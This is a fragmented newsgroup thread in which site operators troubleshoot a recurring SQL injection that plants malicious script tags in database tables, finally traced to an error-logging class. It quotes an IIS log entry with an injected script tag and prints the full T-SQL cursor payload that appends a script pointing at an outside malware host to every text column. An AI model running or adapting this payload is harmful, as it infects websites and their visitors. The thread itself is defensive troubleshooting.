I got the same problem, hundreds of SQL tables been infected with this

malicious javascript code. But although closing the original injection

leak and also having replaced all strings in all tables, my tables

being infected again and again. I already checked all stored

procedures but couldn't find anything suspicious. Any help how to get

rid of this f* malware is highly appreciated!!!

You said you checked your stored procedures ... unless you are executing

dynamic sql statements in your procedures, the procedures are not the

problem.

Are you validating data before passing it to the stored procedures? At least

check it for malicious code before passing it to the procedures.

I got the same problem, hundreds of SQL tables been infected with this

malicious javascript code. But although closing the original injection

leak and also having replaced all strings in all tables, my tables

being infected again and again. I already checked all stored

procedures but couldn't find anything suspicious. Any help how to get

rid of this f* malware is highly appreciated!!!

"morebeer" wrote:

Look in your infected database for users with db_owner role. Take it away

and assign db_datareader and/or individual object (table/view/procedu­re)

rights.

One of those users is being used in your connection string.

--

Dave Anderson

Unsolicited commercial email will be read at a cost of $500 per message. Use

of this email address implies consent to these terms.

On 16 Jul., 00:06, "Dave Anderson" <NPQRWPDWZ...@spamm­otel.com> wrote:

Well, what we did last night is cleaning the database and removed all

malicious code from every single table. Then copied all data to a

blank database and changed the DB user for this database. The ew user

is public db_owner,

db_datareader and db_datawriter. An injection

check script was run again before the new DB went live and before any

connection was allowed again. The original injection leak was already

closed last week. Im lost now!..

morebeer wrote:

Why? Does your application need to perform actions that require db_owner

permissions? I would never assign that role to an account being used in an

application. You need to read the security section in BOL (SQL Books

Online).

Why? Did the attack occur again? If so, then it is likely that your code has

more than one "injection leak".

Have you looked at your IIS logs to see if it contains entries similar to

what a poster in one of the earlier threads reported? Like this:

2008-07-10 03:47:40 GET /sr.asp

title=In%20My%20Nex­t%20Life&artist=Terr­i%20Clark&type=%25&c­ategory=%25&manuf=%2­5&status=av&column=t­itle_asc<script%20sr­c=http://www.xxxxx.m­obi/ngg.js></script>­

80 - 75.88.150.195

--

Microsoft MVP - ASP/ASP.NET

Please reply to the newsgroup. This email account is my spam trap so I

don't check it very often. If you must reply off-line, then remove the

"NO SPAM"- Zitierten Text ausblenden -

- Zitierten Text anzeigen -

Dear Bob, thx for your reply. I certainly checked all httplogs for the

malicious code and certainly did not find anything.However, if the

codes is sent via POST, it is not logged in httplogs.

Additionally, .NET's validateRequest does not allow passing tags

neither via GET nor by POST.

I will pickup your recommendation

regarding db_owner permissions and try out. Maybe someone got an idea

how to check the system's SP for any manipulation (at least no new SP

has been created sonce DB server setup, but I can't check for change

date)..

Your advice by now seems to be very helpful.

However, if I run the SELECT(@S) statement I just get returned "1 row

affcted" and this doesn't tell me very much.. How interprete this

result? What happens if I run DELETE (@S) ?

Dear Bob,

Your advice by now seems to be very helpful.

However, if I run the SELECT(@S) statement I just get returned "1 row

affcted"

and this doesn't tell me very much.. How interprete this

result? What happens if I run DELETE (@S) ?

Referring to the SP changedate, the DB runs on SQL Server 2000.That's

probably the reason why the 2 selects on sysobjects don't work...

bzw: Our malware replacement script looks quite similar to this one

below, and we're running it in loop, so that's the reason why I

suspect there's a SP inserting new malicious entries into the DB as I

can't explain this re-infection else...

DECLARE @T varchar(255),@C varchar(255) DECLARE Table_Cursor CURSOR

FOR

select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id

and

a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or

b.xtype=167)

OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE(@@FETCH_STATU­S=0) BEGIN exec('update ['+@T+'] set

['+@C+']=rtrim(convert(varc­har,['+@C+']))+''<script

src=http://www.j8j8­hei.cn/k.js></script­>''')FETCH NEXT FROM

Table_Cursor

INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor

bzw: Our malware replacement script looks quite similar to this one

below, and we're running it in loop, so that's the reason why I

suspect there's a SP inserting new malicious entries into the DB as I

can't explain this re-infection else...

Ok, final status update... We finally got rid of that f**** virus. We

were wondering how our websites still got infected althuogh we already

had installed proper request variable checks. The reason finally was

the errorlog class itself; whenever malicious code was posted, the

error class logged the malicious code and so it spreaded again thru

our database. This may help others who also wonder how injection is

till possible although request vars properly validated.